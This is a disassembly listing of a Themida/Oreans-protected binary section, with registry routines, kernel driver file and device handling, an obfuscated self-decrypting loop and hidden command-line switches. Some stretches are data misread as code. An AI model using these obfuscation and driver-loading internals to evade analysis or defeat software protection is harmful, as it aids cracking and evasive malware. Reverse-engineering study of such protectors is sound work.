push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E4BAh]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E4E5h]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E495h]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7E4169Dh], 0
jz locret_5B0B82
mov ebx, [ebp+7E4169Dh]
add ebx, 4Ch
mov [ebx], eax
locret_5B0B82: ; CODE XREF: Themida_:005B0B71j
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7E4169Dh], 0
jz locret_5B0B9B
mov ebx, [ebp+7E4169Dh]
add ebx, 50h
mov [ebx], eax
locret_5B0B9B: ; CODE XREF: Themida_:005B0B8Aj
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7E4169Dh], 0
jz locret_5B0BB4
mov ebx, [ebp+7E4169Dh]
add ebx, 54h
mov [ebx], eax
locret_5B0BB4: ; CODE XREF: Themida_:005B0BA3j
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7E4169Dh], 0
jz locret_5B0BCD
mov ebx, [ebp+7E4169Dh]
add ebx, 58h
mov [ebx], eax
locret_5B0BCD: ; CODE XREF: Themida_:005B0BBCj
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7E4169Dh], 0
jz locret_5B0BE6
mov ebx, [ebp+7E4169Dh]
add ebx, 5Ch
mov [ebx], eax
locret_5B0BE6: ; CODE XREF: Themida_:005B0BD5j
retn
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E50Ah]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
cmp dword ptr [ebp+7E413F1h], 0
jz loc_5B0C41
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
loc_5B0C41: ; CODE XREF: Themida_:005B0C2Fj
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E4ECh]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
cmp dword ptr [ebp+7E413F1h], 0
jz loc_5B0CA8
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
loc_5B0CA8: ; CODE XREF: Themida_:005B0C96j
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E4F3h]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
cmp dword ptr [ebp+7E413F1h], 0
jz loc_5B0D0F
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
loc_5B0D0F: ; CODE XREF: Themida_:005B0CFDj
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E4FBh]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
cmp dword ptr [ebp+7E413F1h], 0
jz loc_5B0D76
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
loc_5B0D76: ; CODE XREF: Themida_:005B0D64j
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E502h]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
cmp dword ptr [ebp+7E413F1h], 0
jz loc_5B0DDD
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
loc_5B0DDD: ; CODE XREF: Themida_:005B0DCBj
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov dword ptr [ebp+7E6E513h], 1
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000002h
call dword ptr [ebp+7E6E51Fh]
or eax, eax
jz loc_5B0E26
mov dword ptr [ebp+7E6E513h], 0
jmp loc_5B0E73
; ---------------------------------------------------------------------------
loc_5B0E26: ; CODE XREF: Themida_:005B0E11j
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E48Dh]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
or eax, eax
jz loc_5B0E5D
mov dword ptr [ebp+7E6E513h], 0
jmp loc_5B0E67
; ---------------------------------------------------------------------------
loc_5B0E5D: ; CODE XREF: Themida_:005B0E48j
mov dword ptr [ebp+7E6E513h], 1
loc_5B0E67: ; CODE XREF: Themida_:005B0E58j
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
loc_5B0E73: ; CODE XREF: Themida_:005B0E21j
popa
mov eax, [ebp+7E6E513h]
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E48Dh]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
cmp dword ptr [ebp+7E413F1h], 0
jz loc_5B0ED4
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
loc_5B0ED4: ; CODE XREF: Themida_:005B0EC2j
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E49Fh]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
cmp dword ptr [ebp+7E413F1h], 0
jz loc_5B0F3B
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
loc_5B0F3B: ; CODE XREF: Themida_:005B0F29j
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
popa
retn
; ---------------------------------------------------------------------------
loc_5B0F49: ; CODE XREF: Themida_:loc_5B09AEj
mov byte ptr [ebp+7E42C2Dh], 52h
push 0ADE47B07h
push dword ptr [ebp+7E40DE1h]
call dword ptr [ebp+7E41E39h]
mov [ebp+7E6E51Fh], eax
mov byte ptr [ebp+7E42C2Dh], 52h
push 902E00E5h
push dword ptr [ebp+7E40DE1h]
call dword ptr [ebp+7E41E39h]
mov [ebp+7E6E51Bh], eax
mov byte ptr [ebp+7E42C2Dh], 52h
push 0B9BF1235h
push dword ptr [ebp+7E40DE1h]
call dword ptr [ebp+7E41E39h]
mov [ebp+7E42565h], eax
mov byte ptr [ebp+7E42C2Dh], 52h
push 98781034h
push dword ptr [ebp+7E40DE1h]
call dword ptr [ebp+7E41E39h]
mov [ebp+7E42135h], eax
mov byte ptr [ebp+7E42C2Dh], 52h
push 0C005DBD4h
push dword ptr [ebp+7E40DE1h]
call dword ptr [ebp+7E41E39h]
mov [ebp+7E401F9h], eax
jmp loc_5B11F2
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
align 10h
dd 67h dup(0)
dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B11F2: ; CODE XREF: Themida_:005B0FDFj
jmp loc_5B12E6
; ---------------------------------------------------------------------------
mov byte ptr [ebp+7E42C2Dh], 47h
push 0E3E45B86h
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E43BDCh]
call eax
push 104h
lea ebx, [ebp+7E416BDh]
push ebx
call eax
push eax
lea esi, [ebp+7E6ED51h]
mov edi, esi
xor al, al
loc_5B122A: ; CODE XREF: Themida_:005B122Bj
scasb
jnz loc_5B122A
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+7E42C2Dh], 43h
push 0BC8E6EFCh
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E43BDCh]
call eax
lea esi, [ebp+7E416BDh]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+7E42C2Dh], 57h
push 0A69BEE56h
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E43BDCh]
call eax
lea edi, [ebp+7E40135h]
lea ecx, [ebp+7E6EE77h]
push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_5B12C8
lea esi, [ebp+7E6EB59h]
lea eax, [ebp+7E6DBD6h]
call eax
lea ecx, [ebp+7E472B7h]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_5B12C8: ; CODE XREF: Themida_:005B12A7j
mov byte ptr [ebp+7E42C2Dh], 43h
push 0C0764AA7h
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E43BDCh]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
loc_5B12E6: ; CODE XREF: Themida_:loc_5B11F2j
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_5B12FD
; ---------------------------------------------------------------------------
mov eax, ebx
loc_5B12FD: ; CODE XREF: Themida_:005B12F6j
jmp loc_5B4AD2
; ---------------------------------------------------------------------------
dw 5A4Dh
db 90h
align 2
dw 3
dd 40000h, 0FFFF0000h, 0B80000h, 0
dd 400000h, 8 dup(0)
dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h
dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
dd 240A0Dh, 0
dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
dd 454C0000h, 0
dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
dd 2000000h, 1C00000h, 900000h, 0
dd 7E0000h, 0
dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
dd 12C0000h, 1380000h, 2 dup(0)
dd 1420000h, 1960000h, 1D20000h, 0
dd 1D20000h, 0
dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
dd 27C00400h, 0
dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h
dd 30001h, 2 dup(0)
dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h
dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
dd 360h dup(0)
dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h
dd 8 dup(0)
dd 65760000h, 505072h, 76310000h
db 73h, 52h
a2vsr3vsr db '2vsR3vsR',0 ; DATA XREF: Themida_:0058249Co
align 4
dd 9C2h dup(0)
db 2 dup(0)
word_5B4A5E dw 0 ; CODE XREF: Themida_:005B4AD9j
dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h
dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B4AD2: ; CODE XREF: Themida_:loc_5B12FDj
call sub_5B4AEB
inc edx
push ds
jno short near ptr word_5B4A5E
; ---------------------------------------------------------------------------
db 0DBh
; ---------------------------------------------------------------------------
mov ds:54D1D316h, eax
inc ebp
enter 6F5Ch, 0F5h
xor eax, 2025D009h
; =============== S U B R O U T I N E =======================================
sub_5B4AEB proc near ; CODE XREF: Themida_:loc_5B4AD2p
and dx, 8FF5h
pop ecx
mov esi, 68AC3A33h
add ecx, 6402h
mov si, 438Ch
sub eax, eax
mov dh, 0
loc_5B4B04: ; CODE XREF: Themida_:005B4B5Ej
push dword ptr [eax+ecx]
adc dl, 3Fh
pop edi
call near ptr loc_5B4B18+1
dec edx
xchg eax, edx
cmp al, 5
fsub st, st(2)
jnb short near ptr loc_5B4B2B+5
loc_5B4B18: ; CODE XREF: sub_5B4AEB+20p
mov byte ptr [ebx-387EA50Fh], 32h
sub_5B4AEB endp ; sp-analysis failed
imul ebx, [ecx], 81F78B07h
not dword ptr [ebp+660B8D1Ah]
loc_5B4B2B: ; CODE XREF: sub_5B4AEB+2Bj
sbb ebx, 0F7817398h
add eax, 0F959E8DDh
mov [ecx+eax], edi
mov bx, 29D1h
add dx, 0DC1Ch
sub eax, 2
jmp loc_5B4B52
; ---------------------------------------------------------------------------
retf 3B65h
; ---------------------------------------------------------------------------
db 0B0h, 4Bh, 0D7h
db 0F2h, 2
; ---------------------------------------------------------------------------
loc_5B4B52: ; CODE XREF: Themida_:005B4B45j
dec eax
dec eax
mov si, 6CA5h
cmp eax, 0FFFF9CB0h
jnz loc_5B4B04
call sub_5B4B7B
loc_5B4B69: ; DATA XREF: Themida_:005826D0o
; Themida_:00582C4Co ...
xor cl, dl
out dx, al
fadd dword ptr [ebp+3DF8319Dh]
popa
jmp far ptr 6570h:0A636EBAFh
; ---------------------------------------------------------------------------
db 29h
; =============== S U B R O U T I N E =======================================
sub_5B4B7B proc near ; CODE XREF: Themida_:005B4B64p
; FUNCTION CHUNK AT 005B4FA1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005B6076 SIZE 000000E2 BYTES
push esi
jmp loc_5B4B8B
; ---------------------------------------------------------------------------
sub dh, cl
or dword ptr [esi+3AFCFF4Ch], 0FFFFFFF0h
pop ebx
loc_5B4B8B: ; CODE XREF: sub_5B4B7B+1j
pop ebx
pop ebx
jmp loc_5B4C2B
; ---------------------------------------------------------------------------
dw 622Fh
aUgcheck2 db 'ugcheck2',0
aBugcheck db '/bugcheck',0
aForcerun db '/forcerun',0
aBugcheckfull db '/bugcheckfull',0
aShowcode db '/showcode',0
aShowcode2 db '/showcode2',0
aClrt db '/clrt',0
aDis1 db '/dis1',0
aShowinstance db '/showinstance',0
aGetwlstatus db '/getwlstatus',0
aLogstatus db '/logstatus',0
aDumpstatus db '/dumpstatus',0
align 4
dd 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5B4C2B: ; CODE XREF: sub_5B4B7B+12j
cmp dword ptr [ebp+7E72787h], 0
jz loc_5B4C42
mov dword ptr [ebp+7E40935h], 1
loc_5B4C42: ; CODE XREF: sub_5B4B7B+B7j
mov byte ptr [ebp+7E42C2Dh], 47h
push 0C6DF2DB1h
xor dword ptr [esp+0], 56B2413Ch
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E43BDCh]
call eax
call eax
mov edi, eax
cmp byte ptr [edi], 22h
jnz loc_5B4C92
inc edi
mov al, 22h
loc_5B4C73: ; CODE XREF: sub_5B4B7B+F9j
scasb
jnz loc_5B4C73
cmp byte ptr [edi], 0
jz loc_5B4FA1
inc edi
cmp byte ptr [edi], 0
jz loc_5B4FA1
jmp loc_5B4CB0
; ---------------------------------------------------------------------------
loc_5B4C92: ; CODE XREF: sub_5B4B7B+EFj
; sub_5B4B7B+130j
cmp byte ptr [edi], 0
jz loc_5B4FA1
cmp byte ptr [edi], 20h
jnz loc_5B4CAA
inc edi
jmp loc_5B4CB0
; ---------------------------------------------------------------------------
loc_5B4CAA: ; CODE XREF: sub_5B4B7B+123j
inc edi
jmp loc_5B4C92
; ---------------------------------------------------------------------------
loc_5B4CB0: ; CODE XREF: sub_5B4B7B+112j
; sub_5B4B7B+12Aj ...
cmp byte ptr [edi], 0
jnz loc_5B4CBE
jmp loc_5B4FA1
; ---------------------------------------------------------------------------
loc_5B4CBE: ; CODE XREF: sub_5B4B7B+138j
jmp loc_5B4CC4
; ---------------------------------------------------------------------------
loc_5B4CC3: ; CODE XREF: sub_5B4B7B+14Cj
inc edi
loc_5B4CC4: ; CODE XREF: sub_5B4B7B:loc_5B4CBEj
cmp byte ptr [edi], 20h
jz loc_5B4CC3
cmp byte ptr [edi], 0
jnz loc_5B4CDB
jmp loc_5B4FA1
; ---------------------------------------------------------------------------
loc_5B4CDB: ; CODE XREF: sub_5B4B7B+155j
call sub_5B4CEA
jmp loc_5B4CB0
sub_5B4B7B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp loc_5B4FA1
; =============== S U B R O U T I N E =======================================
sub_5B4CEA proc near ; CODE XREF: sub_5B4B7B:loc_5B4CDBp
lea esi, [ebp+7E72707h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4D13
mov dword ptr [ebp+7E413F1h], 1
retn
; ---------------------------------------------------------------------------
loc_5B4D13: ; CODE XREF: sub_5B4CEA+18j
lea esi, [ebp+7E72712h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4D3C
mov dword ptr [ebp+7E40935h], 1
retn
; ---------------------------------------------------------------------------
loc_5B4D3C: ; CODE XREF: sub_5B4CEA+41j
lea esi, [ebp+7E7278Bh]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4D65
mov dword ptr [ebp+7E41289h], 1
retn
; ---------------------------------------------------------------------------
loc_5B4D65: ; CODE XREF: sub_5B4CEA+6Aj
lea esi, [ebp+7E7271Ch]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4D8E
mov dword ptr [ebp+7E40935h], 1
retn
; ---------------------------------------------------------------------------
loc_5B4D8E: ; CODE XREF: sub_5B4CEA+93j
lea esi, [ebp+7E72726h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4DC1
mov dword ptr [ebp+7E40935h], 1
mov dword ptr [ebp+7E413F1h], 1
retn
; ---------------------------------------------------------------------------
loc_5B4DC1: ; CODE XREF: sub_5B4CEA+BCj
lea esi, [ebp+7E72734h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4DE9
mov dword ptr [ebp+7E42D7Dh], 1
loc_5B4DE9: ; CODE XREF: sub_5B4CEA+EFj
lea esi, [ebp+7E7273Eh]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4E11
mov dword ptr [ebp+7E42D7Dh], 1
loc_5B4E11: ; CODE XREF: sub_5B4CEA+117j
lea esi, [ebp+7E72749h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4E39
mov dword ptr [ebp+7E42611h], 1
loc_5B4E39: ; CODE XREF: sub_5B4CEA+13Fj
lea esi, [ebp+7E7274Fh]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4E61
mov dword ptr [ebp+7E4005Dh], 1
loc_5B4E61: ; CODE XREF: sub_5B4CEA+167j
lea esi, [ebp+7E72755h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4E89
mov dword ptr [ebp+7E42EE5h], 1
loc_5B4E89: ; CODE XREF: sub_5B4CEA+18Fj
lea esi, [ebp+7E72763h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4EB1
mov dword ptr [ebp+7E42419h], 1
loc_5B4EB1: ; CODE XREF: sub_5B4CEA+1B7j
lea esi, [ebp+7E72770h]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4ED9
mov dword ptr [ebp+7E40ECDh], 1
loc_5B4ED9: ; CODE XREF: sub_5B4CEA+1DFj
lea esi, [ebp+7E7277Bh]
call sub_5B4F1A
add edi, [ebp+7E7279Ch]
cmp dword ptr [ebp+7E7279Ch], 0
jz loc_5B4F01
mov dword ptr [ebp+7E41F25h], 1
loc_5B4F01: ; CODE XREF: sub_5B4CEA+207j
jmp loc_5B4F07
; ---------------------------------------------------------------------------
loc_5B4F06: ; CODE XREF: sub_5B4CEA+229j
inc edi
loc_5B4F07: ; CODE XREF: sub_5B4CEA:loc_5B4F01j
cmp byte ptr [edi], 20h
jz locret_5B4F19
cmp byte ptr [edi], 0
jnz loc_5B4F06
locret_5B4F19: ; CODE XREF: sub_5B4CEA+220j
retn
sub_5B4CEA endp
; =============== S U B R O U T I N E =======================================
sub_5B4F1A proc near ; CODE XREF: sub_5B4CEA+6p
; sub_5B4CEA+2Fp ...
pusha
mov ecx, 1
mov ebx, esi
jmp loc_5B4F46
; ---------------------------------------------------------------------------
loc_5B4F27: ; CODE XREF: sub_5B4F1A+37j
cmp byte ptr [edi], 0
jnz loc_5B4F35
mov ecx, 0
loc_5B4F35: ; CODE XREF: sub_5B4F1A+10j
mov dl, [edi]
cmp [esi], dl
jz loc_5B4F44
mov ecx, 0
loc_5B4F44: ; CODE XREF: sub_5B4F1A+1Fj
inc esi
inc edi
loc_5B4F46: ; CODE XREF: sub_5B4F1A+8j
cmp byte ptr [esi], 0
jz loc_5B4F57
or ecx, ecx
jnz loc_5B4F27
loc_5B4F57: ; CODE XREF: sub_5B4F1A+2Fj
or ecx, ecx
jz loc_5B4F80
cmp byte ptr [edi], 0
jz loc_5B4F71
cmp byte ptr [edi], 20h
jnz loc_5B4F7B
loc_5B4F71: ; CODE XREF: sub_5B4F1A+48j
mov ecx, 1
jmp loc_5B4F80
; ---------------------------------------------------------------------------
loc_5B4F7B: ; CODE XREF: sub_5B4F1A+51j
mov ecx, 0
loc_5B4F80: ; CODE XREF: sub_5B4F1A+3Fj
; sub_5B4F1A+5Cj
or ecx, ecx
jz loc_5B4F95
sub esi, ebx
mov [ebp+7E7279Ch], esi
jmp loc_5B4F9F
; ---------------------------------------------------------------------------
loc_5B4F95: ; CODE XREF: sub_5B4F1A+68j
mov dword ptr [ebp+7E7279Ch], 0
loc_5B4F9F: ; CODE XREF: sub_5B4F1A+76j
popa
retn
sub_5B4F1A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B4B7B
loc_5B4FA1: ; CODE XREF: sub_5B4B7B+102j
; sub_5B4B7B+10Cj ...
mov eax, 0
or eax, eax
jz loc_5B4FB8
mov dword ptr [ebp+7E42D7Dh], 0
loc_5B4FB8: ; CODE XREF: sub_5B4B7B+42Dj
mov ecx, eax
jmp loc_5B6076
; END OF FUNCTION CHUNK FOR sub_5B4B7B
; ---------------------------------------------------------------------------
db 41h
dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32 db 'oreans32',0
a_Oreans32 db '\\.\oreans32',0
a_GlobalOreans3 db '\\.\Global\oreans32',0
aOreansx64 db 'oreansx64',0
a_GlobalOreansx db '\\.\Global\oreansx64',0
align 10h
dd 41h dup(0)
dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
dd 736E6165h, 732E3233h, 7379h, 48h dup(0)
dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
dd 676F7270h, 2E6D6172h, 59h dup(0)
dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent db 'XprotEvent',0
align 10h
dd 0Ah dup(0)
dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
